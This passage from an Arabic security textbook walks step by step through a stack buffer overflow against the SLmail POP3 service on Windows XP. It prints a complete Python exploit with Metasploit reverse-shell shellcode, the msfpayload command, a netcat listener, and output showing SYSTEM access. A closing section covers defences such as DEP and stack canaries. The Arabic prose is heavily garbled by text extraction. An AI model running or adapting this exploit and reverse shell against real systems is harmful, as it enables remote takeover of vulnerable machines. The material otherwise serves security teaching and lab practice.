Debugger
‫لل‬ ‫حدث‬ ‫ما‬ ‫ُشاذد‬‫ن‬ ‫كي‬
EIP
..
:‫ِبذا‬ ‫أشبه‬ ‫يشء‬ ‫ُشاذد‬‫ت‬‫س‬
‫حدث‬ ‫لقد‬
Overwrite
‫لل‬
EIP
‫ال‬ ‫ِبذه‬
Hex bytes
.!‫الصورة‬ ‫يف‬ ‫تظليلها‬ ‫تم‬ ‫التي‬
‫وماذا‬
‫اآلن؟‬ ‫سنفعل‬
.
‫ال‬ ‫ذذه‬ ‫سننسخ‬
bytes
‫األدا‬ ‫لىل‬ ‫بإدطاهلا‬ ‫ونقوم‬
‫ة‬
‫الثاني‬
‫ة‬
‫ال‬ ‫ذذه‬ ‫ترتيب‬ ‫أو‬ ‫موضع‬ ‫لنا‬ ‫ج‬‫ر‬ ُ
‫خت‬ ‫كي‬
bytes
‫ال‬ ‫داطل‬
String
.‫أرسلناذا‬ ‫التي‬
‫ال‬ ‫الشكل‬ ‫معي‬ ‫ل‬ّ‫م‬‫تأ‬
..‫تايل‬
‫األدا‬ ‫استخدام‬ ‫ح‬ ِّ
‫وض‬ُ‫ي‬ ُ
‫حيث‬
‫ة‬
‫الثاني‬
‫ة‬
‫ال‬ ‫موضع‬ ‫حتديد‬ ‫يف‬
4 bytes
‫املطلوب‬
‫ة‬
.
‫األد‬ ‫مسار‬ ‫بإدطال‬ ‫سنقوم‬
‫بال‬ ً‫ا‬‫متبوع‬ ‫اه‬
4 bytes
‫وذم‬
39 69 44 38
‫النتيج‬ ‫لنا‬ ‫قتظهر‬
‫ة‬
:
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[273]
[*] Exact match at offset 2606
‫ال‬ ‫لرسال‬ ‫ُعيد‬‫ن‬‫ل‬ ‫ذيا‬
buffer
‫اخلطرية‬ ‫املعلومات‬ ‫ذذه‬ ‫معرقة‬ ‫بعد‬

.
:‫كالتايل‬ ‫ليكون‬ ‫الكود‬ ‫داطل‬ ‫السطر‬ ‫ذذا‬ ‫بتعديل‬ ‫سنقوم‬
buffer = "A" * 2606 + "B" * 4 + "C" * 90
‫يعني‬ ‫ذذا‬
‫ال‬ ‫أن‬
EIP
‫هلا‬ ‫حيدث‬ ‫أن‬ ‫البد‬
overwrite
‫ب‬
“4 B’s”
‫أو‬
42 42 42 42
‫ال‬ ‫بقية‬ ‫أكملنا‬ ‫م‬ُ‫ث‬ ،‫الثنائي‬ ‫بالنظام‬
buffer
‫باحلرف‬
“C”
.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[274]
َ
‫ث‬َ‫د‬ َ‫ح‬ ‫لقد‬
overwrite
‫لل‬
EIP
‫ال‬ ً‫ا‬‫أيض‬ ،
ESP
‫ال‬ ‫بداية‬ ‫لىل‬ ‫ُشري‬‫ت‬ ‫أصبحت‬
“C’s”
‫اجله‬ ‫يف‬ ‫باألسفل‬
‫ة‬
‫اليمنى‬
..!‫رائع‬ ‫عمل‬ ‫ذذا‬
‫ا‬ ‫اخلطوة‬ ‫لىل‬ ‫لننتقل‬ ‫ذيا‬
‫لثالث‬
‫ة‬
..
Locating Space for our Shellcode
‫ال‬ ‫أن‬ ‫املايض‬ ‫الشكل‬ ‫يف‬ ‫الحظنا‬
ESP
‫أص‬
‫ال‬ ‫بداية‬ ‫لىل‬ ‫ُشري‬‫ت‬ ‫بحت‬
buffer
‫باحلرف‬ ‫مألناه‬ ‫الذي‬
“C”
،
‫يدقعنا‬ ‫ذذا‬
‫ال‬ ‫حروف‬ ‫الستبدال‬
“C”
‫بال‬ ‫ذذه‬
Shellcode
‫بنا‬ ‫اخلاص‬
.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[275]
‫ال‬ ‫ولكن‬
shellcode
‫لىل‬ ‫مساحته‬ ‫تصل‬ ‫استخدامه‬ ‫بصدد‬ ‫نحن‬ ‫الذي‬
350 bytes
‫بحاج‬ ‫نحن‬ ‫بالتايل‬ ،
‫ة‬
‫ال‬ ‫حجم‬ ‫لزيادة‬
buffer
‫لل‬ ‫ص‬ ّ
‫ص‬َ‫خ‬ُ‫مل‬‫ا‬
shellcode
.
..ً‫ا‬‫سابق‬ ‫كتبناه‬ ‫الذي‬ ‫الكود‬ ‫داطل‬ ‫عتاد‬ُ‫مل‬‫ا‬ ‫السطر‬ ‫عىل‬ ‫تعديل‬ ‫بإجراء‬ ‫سنقوم‬
buffer = "A" * 2606 + "B" * 4 + "C" * (3500 – 2606 - 4)
‫عملي‬ ‫نجاح‬ ‫من‬ ‫ُّد‬‫ك‬‫للتأ‬ ‫أطرى‬ ً‫ة‬‫مر‬ ‫اهلجوم‬ ‫بتنفيذ‬ ‫سنقوم‬ ،‫واآلن‬
‫ال‬ ‫ة‬
Allocation
‫املبدأي‬
‫ة‬
‫لل‬
shellcode
.
..!!‫نجحنا‬ ‫لقد‬
‫ال‬ ‫طانة‬ ‫حتت‬ ‫ترى‬ ‫كام‬
Address
‫ال‬ ‫تظليل‬ ‫تم‬ ،
address
‫ال‬ ‫ببداية‬ ‫اخلاص‬
shellcode
‫ال‬ ‫لليه‬ ‫ُشري‬‫ت‬ ‫الذي‬ ‫وذو‬
ESP
.
‫ال‬ ‫أن‬ ‫الحظ‬ ‫ولكن‬
address
‫ال‬ ‫لليه‬ ‫ُشري‬‫ت‬ ‫الذي‬
ESP
‫املحاول‬ ‫يف‬ ‫تغري‬ ‫قد‬
‫ة‬
‫الثاني‬
‫ة‬
.!
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[276]
‫كو‬ ‫من‬ ‫نستفيد‬ ‫وماذا‬
‫ال‬ ‫أن‬ ‫ن‬
ESP
‫ال‬ ‫ذذا‬ ‫لىل‬ ‫ُشري‬‫ت‬
Address
‫؟‬..
‫استطعنا‬ ‫لو‬ ‫أنه‬ ‫نستفيد‬
‫عمل‬
redirection
‫لل‬
Execution flow
‫ال‬ ‫حدوث‬ ‫أثناء‬
crash
‫ث‬ُ‫د‬ َ
‫حي‬ ‫بحيث‬
Jump
‫ال‬ ‫لىل‬
“Address of ESP Register”
.‫ذدقنا‬ ‫حققنا‬ ‫ِبذا‬ ‫سنكون‬
‫ذدقنا؟‬ ‫ذو‬ ‫وما‬
‫ال‬ ‫أن‬ ‫بام‬
ESP
‫ال‬ ‫موضع‬ ‫لىل‬ ‫ُشري‬‫ت‬
shellcode
‫ي‬ ‫قهذا‬ ،
‫ال‬ ‫تنفيذ‬ ‫سيتم‬ ‫أنه‬ ‫عني‬
shellcode
‫عبار‬ ‫وذو‬
‫ة‬
‫عن‬
Reverse
shell
.
‫بحاج‬ ‫اآلن‬ ‫نحن‬ ..ً‫ا‬‫لذ‬
‫ة‬
‫عن‬ ‫للبحث‬
Instruction
‫نوع‬ ‫من‬
JMP ESP
‫ال‬ ‫ُجرب‬‫ن‬ ‫كي‬
CPU
‫ال‬ ‫لىل‬ ‫بالقفز‬
ESP
‫أثناء‬
‫ال‬ ‫حدوث‬
crash
.
‫ال‬ ‫ذذا‬ ‫نحن‬ ‫ُعطيه‬‫ن‬ ‫ال‬ ‫وملاذا‬
Address of ESP
‫ال‬ ‫ذذه‬ ‫عن‬ ‫البحث‬ ‫عناء‬ ‫توقري‬‫ل‬
instruction
‫ال‬ ‫داطل‬
Memory
‫؟‬..
‫ال‬ ‫ذذا‬ ‫أن‬ ‫رأينا‬ ‫كام‬
Address
‫مر‬ ‫كل‬ ‫يف‬ ‫تغيريه‬ ‫يتم‬
‫ة‬
‫قيها‬ ‫حيدث‬
crash
‫ال‬ ‫هلذه‬
process
‫معرقة‬ ‫ُنا‬‫ن‬‫مك‬ُ‫ي‬ ‫لن‬ ‫وبالتايل‬ ،
‫ال‬ ‫ذذه‬ ‫عن‬ ‫سنبحث‬ ،‫ذلك‬ ‫عن‬ ً‫ا‬‫وعوض‬ ،!‫عنوانه‬
instruction
‫ال‬ ‫لىل‬ ‫بالقفز‬ ‫تقوم‬ ‫التي‬
ESP
‫عىل‬ ‫التحايل‬ ‫من‬ ‫كنوع‬
‫املشكل‬ ‫ذذه‬
‫ة‬
.
‫ُمتاز‬ ‫ذذا‬
‫الرابع‬ ‫اخلطوة‬ ‫لىل‬ ‫لننتقل‬ ‫ذيا‬ ..
‫ة‬
..
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[277]
Redirecting the Execution Flow
‫ال‬ ‫نمتلك‬ ‫اآلن‬ ‫نحن‬
EIP
‫ال‬ ‫لىل‬ ‫االنتقال‬ ‫عن‬ ‫املسؤوله‬ ‫وذي‬ ،
instruction
‫التالي‬
‫ة‬
..‫تنفيذذا‬ ‫يتم‬ ‫كي‬
‫كذلك؟‬ ‫أليس‬
‫ال‬ ‫نعلم‬ ‫أننا‬ ‫كام‬
instruction
‫التالي‬
‫ة‬
‫وذي‬ ..‫لليها‬ ‫االنتقال‬ ‫نود‬ ‫التي‬
Jmp ESP
‫ا‬ ‫ولدينا‬ ،
‫ل‬
shellcode
‫يف‬ ‫وضعناه‬ ‫الذي‬
‫ال‬ ‫يف‬ ‫ما‬ ٍ‫مكان‬
memory
.
‫ال‬ ‫ذذه‬ ‫لجياد‬ ‫اآلن‬ ‫لنا‬ ‫يتبقى‬
instruction
‫ألي‬ ‫تنتمي‬ ‫التي‬
Executable
‫ال‬ ‫بتقنية‬ ‫حممي‬ ‫غري‬
DEP
‫ال‬ ‫و‬
ASLR
‫ك‬
‫ي‬
‫املهم‬ ‫هلذه‬ ُ‫ه‬‫نستخدم‬
‫ة‬
‫اخلطرية‬

.
‫ال‬ ‫ذذا‬ ‫تذكر‬ ‫ذل‬
DEP
‫وال‬
ASLR
‫؟‬..
‫املهم‬ ‫هلذه‬ ‫سنستخدم‬
‫ة‬
Script
‫سمى‬ُ‫ي‬
mona.py
‫ال‬ ‫أحد‬ ‫وذو‬
Scripts
‫اخلاص‬
‫ة‬
‫ال‬ ‫ِبذا‬
Debugger
.‫الرائع‬
‫ال‬ ‫ذذا‬
Script
‫ال‬ ‫داطل‬ ‫لنا‬ ‫يبحث‬ ‫أن‬ ‫منه‬ ‫سنطلب‬
memory
‫أي‬ ‫عن‬
module
‫أو‬
executable
‫اخلصائص‬ ‫به‬ ‫تتوقر‬
‫ال‬ ‫ذذا‬ ‫داطل‬ ‫بالبحث‬ ‫نقوم‬ ‫بعدا‬ ‫ثم‬ ،ً‫ا‬‫سابق‬ ‫ذكرنا‬ ‫كام‬ ‫حممي‬ ‫غري‬ ‫امللف‬ ‫ذذا‬ ‫يكون‬ ‫أن‬ ‫وذي‬ ،‫ُريدذا‬‫ن‬ ‫التي‬
module
‫ال‬ ‫عن‬
Instruction
‫وذي‬ ..‫ُريد‬‫ن‬ ‫التي‬
Jmp ESP
.
‫لنا‬ ‫أطرجها‬ ‫التي‬ ‫النتائج‬ ‫ماييل‬
mona.py
..
‫ال‬ ‫الحظ‬
DLL
‫املوجود‬ ‫امللفات‬ ‫أحد‬ ‫لنه‬ ..‫باألبيض‬ ‫ظلل‬ُ‫مل‬‫ا‬
‫ة‬
‫ال‬ ‫يف‬
system32
‫ال‬ ‫داطل‬
windows
‫احلقيق‬ ‫يف‬ ،
‫ة‬
‫أنه‬
‫ذو‬ ‫بل‬ ،‫احلريف‬ ‫باملعنى‬ ً‫ا‬‫ملف‬ ‫ليس‬
Application Library
.
‫ال‬ ‫ذذا‬
DLL
‫لىل‬ ‫يتعرض‬ ‫ال‬
‫ال‬
Rebase
‫عملية‬ ‫كل‬ ‫يف‬
reboot
‫ال‬ ‫بتقنيات‬ ‫حممي‬ ‫غري‬ ً‫ا‬‫أيض‬ ،
SafeSEH
‫ال‬ ‫أو‬ ،
DEP
‫ال‬ ‫أو‬ ،
ASLR
.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[278]
..!!‫مثايل‬ ‫اطتيار‬ ‫ذذا‬
‫عن‬ ‫بداطله‬ ‫سنبحث‬ ‫واآلن‬
Jmp ESP
‫ذكذا‬ ‫كتابتها‬ ‫ُنا‬‫ن‬‫مك‬ُ‫ي‬ ‫ال‬ ‫ولكن‬ ،
‫البحث‬ ‫طانة‬ ‫يف‬
‫بحاج‬ ‫نحن‬ ..!
‫ة‬
‫ال‬ ‫لىل‬
opcode
‫ال‬ ‫هلذه‬ ‫قابل‬ُ‫مل‬‫ا‬
instruction
‫وذو‬ ،
FF E4
،
‫ن‬
‫ب‬ ‫بالبحث‬ ‫قوم‬
‫كتابة‬
‫األمر‬
‫موضح‬ ‫ذو‬ ‫كام‬
‫ب‬
‫الشكل‬
‫التايل‬
:
‫ال‬ ‫ذذا‬ ‫عىل‬ ‫زدوج‬ُ‫مل‬‫ا‬ ‫بالنقر‬ ‫نقوم‬
address
‫ال‬ ‫لنا‬ ‫لتظهر‬ ‫األبيض‬ ‫باللون‬ ‫لل‬َ‫ظ‬ُ‫مل‬‫ا‬
instruction
:‫كامييل‬ ‫واضح‬ ‫بشكل‬
..‫اآلن‬ ‫حتى‬ ‫حصلة‬ُ‫مل‬‫ا‬
‫بحاج‬ ‫نحن‬
‫ة‬
‫ال‬ ‫لتوجيه‬
Execution flow
‫ال‬ ‫حدوث‬ ‫أثناء‬
crash
‫يف‬ ‫ل‬ِّ‫ث‬‫تم‬ُ‫مل‬‫ا‬ ‫وذو‬
‫ال‬
EIP
‫عمل‬ ‫استطعنا‬ ‫التي‬
overwrite
‫ال‬ ‫ذذا‬ ‫لىل‬ ..‫هلا‬
address
‫ال‬ ‫داطل‬ ‫يقع‬ ‫الذي‬
DLL
‫ى‬‫سم‬ُ‫مل‬‫ا‬
slmfc.dll
‫بعمل‬ ‫يقوم‬ ‫والذي‬
Jump
‫ال‬ ‫لىل‬
ESP
‫ال‬ ‫لىل‬ ‫ُشري‬‫ت‬ ‫بدورذا‬ ‫والتي‬ ،
shellcode
.!‫بنا‬ ‫اخلاص‬
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[279]
..!!‫ش‬‫دذ‬ُ‫م‬ ‫ذذا‬
‫األطري‬ ‫اخلطوة‬ ‫لىل‬ ‫لننتقل‬ ‫بنا‬ ‫ذيا‬
‫ة‬
..
Getting the Shell
‫اآل‬
‫ال‬ ‫استبدال‬ ‫لنا‬ ‫بقي‬ ،‫ُريد‬‫ن‬ ‫ما‬ ‫كل‬ ‫عىل‬ ‫حصلنا‬ ‫أن‬ ‫وبعد‬ ،‫ن‬
“C’s”
‫بال‬
shellcode
‫ُريده‬‫ن‬ ‫الذي‬
.
..‫بتنفيذه‬ ‫سنقوم‬ ‫الذي‬ ‫للكود‬ ‫النهائي‬ ‫الشكل‬ ‫ُشاذد‬‫ن‬‫ل‬ ‫معي‬ ‫تعال‬
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
shellcode =
("xbbxdcx0ex23x1cxd9xedxd9x74x24xf4x5fx33xc9" +
"xb1x4fx31x5fx14x83xefxfcx03x5fx10x3exfbxdf" +
"xf4x37x04x20x05x27x8cxc5x34x75xeax8ex65x49" +
"x78xc2x85x22x2cxf7x1ex46xf9xf8x97xecxdfx37" +
"x27xc1xdfx94xebx40x9cxe6x3fxa2x9dx28x32xa3" +
"xdax55xbdxf1xb3x12x6cxe5xb0x67xadx04x17xec" +
"x8dx7ex12x33x79x34x1dx64xd2x43x55x9cx58x0b" +
"x46x9dx8dx48xbaxd4xbaxbax48xe7x6axf3xb1xd9" +
"x52x5fx8cxd5x5ex9exc8xd2x80xd5x22x21x3cxed" +
"xf0x5bx9ax78xe5xfcx69xdaxcdxfdxbexbcx86xf2" +
"x0bxcbxc1x16x8dx18x7ax22x06x9fxadxa2x5cxbb" +
"x69xeex07xa2x28x4axe9xdbx2bx32x56x79x27xd1" +
"x83xfbx6axbex60x31x95x3exefx42xe6x0cxb0xf8" +
"x60x3dx39x26x76x42x10x9exe8xbdx9bxdex21x7a" +
"xcfx8ex59xabx70x45x9ax54xa5xc9xcaxfax16xa9" +
"xbaxbaxc6x41xd1x34x38x71xdax9ex4fxb6x4dx2b" +
"x50x38x8ax43x52x38x93x28xdbxdexf9x5ex8ax49" +
"x96xc7x97x01x07x07x02x81xa4x9axc9x51xa2x86" +
"x45x06xe3x79x9cxc2x19x23x36xf0xe3xb5x71xb0" +
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[280]
"x3fx06x7fx39xcdx32x5bx29x0bxbaxe7x1dxc3xed" +
"xb1xcbxa5x47x70xa5x7fx3bxdax21xf9x77xddx37" +
"x06x52xabxd7xb7x0bxeaxe8x78xdcxfax91x64x7c" +
"x04x48x2dx8cx4fxd0x04x05x16x81x14x48xa9x7c" +
"x5ax75x2ax74x23x82x32xfdx26xcexf4xeex5ax5f" +
"x91x10xc8x60xb0")
Buffer = "A" * 2606 + "x8fx35x4ax5f" + "x90" * 8 + shellcode
try:
print "Sending buffer..."
s.connect(('192.168.18.131',110))
data = s.recv(1024)
s.send('USER username' +'rn')
data = s.recv(1024)
s.send('PASS' + buffer + 'rn')
s.close()
print "Done."
except:
print "Could not connect to POP3!"
‫بال‬ ‫اخلاص‬ ‫السطر‬ ‫عىل‬ ‫التعديالت‬ ‫بعض‬ ‫يظهر‬
buffer
..
Buffer = "A" * 2606 + "x8fx35x4ax5f" + "x90" * 8 + shellcode
‫ال‬ ‫استبدلنا‬ ‫لقد‬
“4B’s”
‫بعمل‬ ‫قامت‬ ‫التي‬
overwrite
‫لل‬
EIP
‫بال‬
address
‫بال‬ ‫اخلاص‬
Jmp ESP
‫عليه‬ ‫عثرنا‬ ‫الذي‬
‫ال‬ ‫داطل‬
slmfc.dll
.
‫بإضاقة‬ ‫منا‬ُ‫ق‬ ً‫ا‬‫أيض‬
opcode
‫وذو‬ ،‫مرات‬ ‫ثامين‬ ‫كرر‬ُ‫م‬ ‫معني‬
"x90"
‫يعني‬ ُ
‫حيث‬
“No Operation”
‫ال‬ ‫ذذا‬ ‫وما‬
NOP
‫؟‬..
‫لهنا‬
instruction
‫ماييل‬ ‫تعني‬
..
(Do nothing, and execute the next instruction)
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[281]
‫ال‬ ‫ينتقل‬ ‫وعندما‬
EIP
‫ال‬ ‫لىل‬
instruction
‫التالي‬
‫ة‬
‫لىل‬ ‫وذكذا‬ ..‫مثلها‬ ‫جيدذا‬
‫ال‬ ‫بداية‬ ‫لىل‬ ‫يصل‬ ‫أن‬
shellcode
.
‫ولكن‬
‫حال؟‬ ‫بأي‬ ‫بإضاقتها‬ ‫منا‬ُ‫ق‬ ‫ملاذا‬
.
‫ال‬ ‫نضع‬ ‫مل‬ ‫ملاذا‬
shellcode
‫ال‬ ‫توجيه‬ ‫بعد‬ ً‫ة‬‫بارش‬ُ‫م‬
EIP
‫ال‬ ‫ُشري‬‫ت‬ ُ
‫حيث‬ ‫لىل‬
ESP
‫؟‬..
‫ال‬ ‫من‬ ‫عدد‬ ‫أي‬ ‫ضياع‬ ‫نتجنب‬ ‫كي‬
bytes
‫الواقع‬
‫ة‬
‫ال‬ ‫بداية‬ ‫يف‬
shellcode
‫ال‬ ‫عملية‬ ‫اء‬ ّ‫جر‬
Jump
‫ال‬ ‫ذذه‬ ‫له‬ ‫قنضع‬ ،
NOPs
‫ي‬ ‫كي‬
‫ال‬ ‫قع‬
Pointer
‫ال‬ ‫لىل‬ ‫يصل‬ ‫أن‬ ‫لىل‬ ‫السري‬ ‫ل‬‫كم‬ُ‫ي‬‫و‬ ‫نها‬‫م‬ ٍ
‫أي‬ ‫يف‬
shellcode
.
‫ال‬ ‫ذذا‬ ً‫ا‬‫وأطري‬
shellcode
‫ال‬ ‫موديوالت‬ ‫أحد‬ ‫باستخدام‬ ‫عليه‬ ‫حصلنا‬
Metasploit
‫وذو‬
msfpayload
‫منا‬ ‫وحيتاج‬ ،
‫األساسي‬ ‫املعلومات‬ ‫بعض‬
‫ة‬
‫كال‬
Local IP
‫وال‬ ‫بنا‬ ‫اخلاص‬
Local Port
،
‫الربجم‬ ‫ولغة‬
‫ة‬
‫لذا‬ ‫قيام‬
‫كانت‬
C
‫أو‬
Python
.
root@kali:~# msfpayload windows/shell_reverse_tcp LHOST=192.168.18.128
LPORT=443 C
‫تبدو‬
‫األمور‬
‫تاز‬ ُ
‫ُم‬
‫ة‬
.!‫اآلن‬ ‫لىل‬
‫ال‬ ‫ذذا‬ ‫ننتظر‬ ‫أن‬ ‫لنا‬ َ‫بقي‬
reverse shell
‫ال‬ ‫من‬ ‫لنا‬ ‫سيأيت‬ ‫الذي‬
Win XP
..
‫ال‬ ‫وضع‬ ‫يف‬ ‫نكون‬ ‫أن‬ ‫جيب‬ ‫أننا‬ ‫يعني‬ ‫ذذا‬
Listening
‫نتمك‬ ‫كي‬
.‫العكيس‬ ‫اإلتصال‬ ‫ذذا‬ ‫استقبال‬ ‫من‬ ‫ن‬
‫أداة‬ ‫لنا‬ ‫تقوم‬
Netcat
‫هم‬ُ‫مل‬‫ا‬ ‫ِبذه‬
‫ة‬
‫بفتح‬ ‫نقوم‬ ،
Tab
‫ال‬ ‫داطل‬ ‫جديد‬
Terminal
:‫األمر‬ ‫ذذا‬ ‫وكتابة‬
root@kali:~# nc -nlvp 443
root@kali:~#
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[282]
‫ال‬ ‫نبدأ‬ ‫م‬ُ‫ث‬
Attack
..‫جديد‬ ‫من‬
root@kali:~# ./fuzznew.py
Sending buffer...
Done.
‫نعود‬ ‫واآلن‬
‫ال‬ ‫لىل‬
Tab
‫بأداة‬ ‫اخلاص‬
Netcat
‫ال‬ ‫من‬ ‫القادم‬ ‫اإلتصال‬ ‫لننتظر‬
Victim
.
root@kali:~# nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.18.128] from (UNKNOWN) [192.168.18.131] 49557
Microsoft Windows XP SP3
Copyright (c) Microsoft Corporation. All rights reserved.
C:Program FilesSLmailSystem>whoami
whoami
nt authoritysystem
‫وذي‬ ..!‫الصالحيات‬ ‫أعىل‬ ‫عىل‬ ‫حصلنا‬ ..‫ذا‬ ‫نحن‬ ‫ذا‬
System Privileges
.
..‫القدر‬ ‫ِبذا‬ ‫سنكتفي‬
‫للحديث‬ ‫سننتقل‬
‫ال‬ ‫عن‬
Protection Mechanisms
‫ستخدم‬ُ‫مل‬‫ا‬
‫ة‬
‫ال‬ ‫امية‬‫حل‬
Operating Systems
‫وال‬
memory
.‫ذذه‬ ‫التالعب‬ ‫عمليات‬ ‫من‬
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[283]
Protection Mechanisms
‫املختلف‬ ‫التشغيل‬ ‫أنظمة‬ ‫تستخدمها‬ ‫أمنية‬ ‫تقنيات‬ ‫عدة‬ ‫عن‬ ‫ترص‬ ُ
‫ُم‬ ‫بشكل‬ ‫سنتحدث‬
‫ة‬
.
:‫رئيسية‬ ‫ططوات‬ ‫ثالثة‬ ‫يف‬ ‫احلادث‬ ‫االطرتاق‬ ‫عملية‬ ‫تلخيص‬ ‫ُنا‬‫ن‬‫مك‬ُ‫ي‬

‫ال‬ ‫يف‬ ‫طلل‬ ‫حدوث‬ ‫ذي‬ ‫األوىل‬
memory
‫ال‬ ‫أو‬ ‫الربنامج‬ ‫هلذا‬ ‫املخصصة‬
application
.

‫ال‬ ‫عىل‬ ‫السيطرة‬ ‫حماولة‬ ‫ذي‬ ‫والثانية‬
flow
‫ال‬ ‫ذذا‬ ‫مسار‬ ِّ
‫نغري‬ ‫بأن‬ ‫للربنامج‬ ‫الطبيعي‬
flow
‫آطر‬ ‫يشء‬ ‫لىل‬
.

‫ال‬ ‫عملية‬ ‫ذي‬ ‫والثالثة‬
execution
‫لل‬
shellcode
‫ال‬ ‫داطل‬ ‫ما‬ ٍ‫مكان‬ ‫يف‬ ‫بزرعه‬ ‫قمنا‬ ‫الذي‬
memory
.
‫هلا‬ ‫يتعرض‬ ‫التي‬ ‫التهديدات‬ ‫وبمعرقة‬
‫التشغيل‬ ‫نظام‬
‫طر‬ ‫ختيل‬ ‫يمكننا‬
‫احل‬ ‫ق‬
‫الثغرات‬ ‫هلذه‬ ‫املناسبة‬ ‫امية‬
.
‫طريق‬ ‫بأول‬ ‫نبدأ‬
‫ة‬
:
Nonexecutable Stack
‫ال‬ ‫ثغرات‬ ‫ملنع‬ ‫مبارش‬ ‫و‬ ‫واضح‬ ‫لجراء‬ ‫ذذا‬
Buffer Overflow
.
‫ال‬ ‫وضع‬ ‫من‬ ‫متكنت‬ ‫قإذا‬
Shellcode
‫يف‬ ‫بك‬ ‫اخلاص‬
‫ال‬ ‫يف‬ ‫تريده‬ ‫مكان‬ ‫أي‬
memory
‫أمهي‬ ‫له‬ ‫يكون‬ ‫لن‬ ‫وبالتايل‬ ،!‫تنفيذه‬ ‫من‬ ‫تتمكن‬ ‫قلن‬..
‫ة‬
.
This feature enabled by default in most Linux distributions, OpenBSD, Mac OS X, Solaris, and
Windows.
َ‫ق‬
َ‫ظ‬
َ‫ه‬
‫بإسم‬ ‫تكنيك‬ ‫ر‬
ret2libc (returning into libc)
،
‫وذي‬
library
‫ال‬ ‫بعض‬ ‫حتوي‬
functions
‫كال‬
printf ( )
‫ال‬ ‫و‬
exit( )
،
‫ال‬ ‫ذذه‬..
functions
‫تعترب‬
shared
‫ي‬ ‫برنامج‬ ‫أي‬ ‫أن‬ ‫بمعنى‬
‫ال‬ ‫ذذه‬ ‫ستخدم‬
function
‫توجيه‬ ‫من‬ ‫سيتمكن‬
‫ال‬ ‫مسار‬
execution
‫ال‬ ‫ذذه‬ ‫مكان‬ ‫لىل‬
function
‫ال‬ ‫داطل‬
libc
.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[284]
‫ال‬ ‫توجيه‬ ‫من‬ ‫ُمكننا‬‫ت‬‫س‬ ‫الربنامج‬ ‫يف‬ ‫ثغرة‬ ‫قوجود‬
execution
‫أي‬ ‫لىل‬
function
‫ال‬ ‫ذذه‬ ‫يف‬ ‫تقع‬
lib
.
‫األمر‬ ‫ذذا‬ ‫تطور‬
:‫مثل‬ ‫األطرى‬ ‫التكنيكات‬ ‫بعض‬ ‫ليشمل‬
ret2plt, ret2strcpy, ret2gets, ret2syscall, ret2data, ret2text,
ret2code, ret2dl-resolve, and chained ret2code.
W^X Memory
:‫اآليت‬ ‫تعني‬ ‫باطتصار‬ ‫اخلاصية‬ ‫ذذه‬
Making writable memory non-executable, and executable memory non-writable.
‫عمل‬ ‫الصعب‬ ‫من‬ ‫سيكون‬ ‫اخلاصية‬ ‫ذذه‬ ‫وبتطبيق‬
inject
‫لل‬
shellcode
‫وجود‬ ‫حالة‬ ‫يف‬
vulnerable program
.
‫ال‬ ‫ذذه‬ ‫تطبيق‬ ‫تم‬ ‫لذا‬
mechanism
َ
‫س‬ ‫أهنا‬ ‫يبدو‬ ،‫قوق‬ ‫عرضناذا‬ ‫التي‬ ‫التكنيكات‬ ‫كل‬ ‫منع‬ ‫من‬ ‫تتمكن‬ ‫قلن‬ ‫وحدذا‬
ُ‫ت‬
‫فل‬
‫ح‬
‫وذم‬ .‫منهم‬ ‫ثالثة‬ ‫مع‬ ‫ققط‬
ret2strcpy, ret2gets, and ret2data
.
..‫أطرى‬ ‫بتقنيات‬ ‫تدعيمها‬ ‫قينبغي‬
‫ُمتازة‬ ‫قكرة‬ ‫لكنها‬
‫ا‬ ،
‫منها‬ ‫ستفادت‬
Microsoft
‫عندما‬
‫ال‬ ‫طورت‬
DEP (Data Execution Prevention)
‫لصدار‬ ‫يف‬
Win XP SP2
.‫النظرية‬ ‫ذذه‬ ‫عىل‬ ‫قكرته‬ ‫تعتمد‬ ‫حيث‬
Canaries (Stack Protection)
‫طائر‬ ‫لسم‬ ‫تأطذ‬ ‫اخلاصية‬ ‫ذذه‬
‫الكناري‬
‫ذذا‬ ‫وظيفة‬ ‫عن‬ ‫سنتكلم‬ ‫أكثر‬ ‫اخلاصية‬ ‫ذذه‬ ‫وظيفة‬ ‫ولتقريب‬ ،
‫ل‬‫ام‬ُ‫ع‬ ‫عند‬ ‫الطائر‬
‫م‬
‫الذذب‬ ‫ناجم‬
.
‫تعمق‬ ‫قكلام‬ ،‫للحفر‬ ‫طريقهم‬ ‫يف‬ ‫وذم‬ ‫الطائر‬ ‫ذذا‬ ‫معهم‬ ‫امل‬ُ‫ع‬‫ال‬ ‫حيمل‬
..‫أكثر‬ ‫وا‬
‫أكثر‬ ‫األكسجني‬ ‫قل‬ ‫كلام‬
..‫ينعدم‬ ‫أن‬ ‫لىل‬ ‫وذكذا‬ ،
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[285]
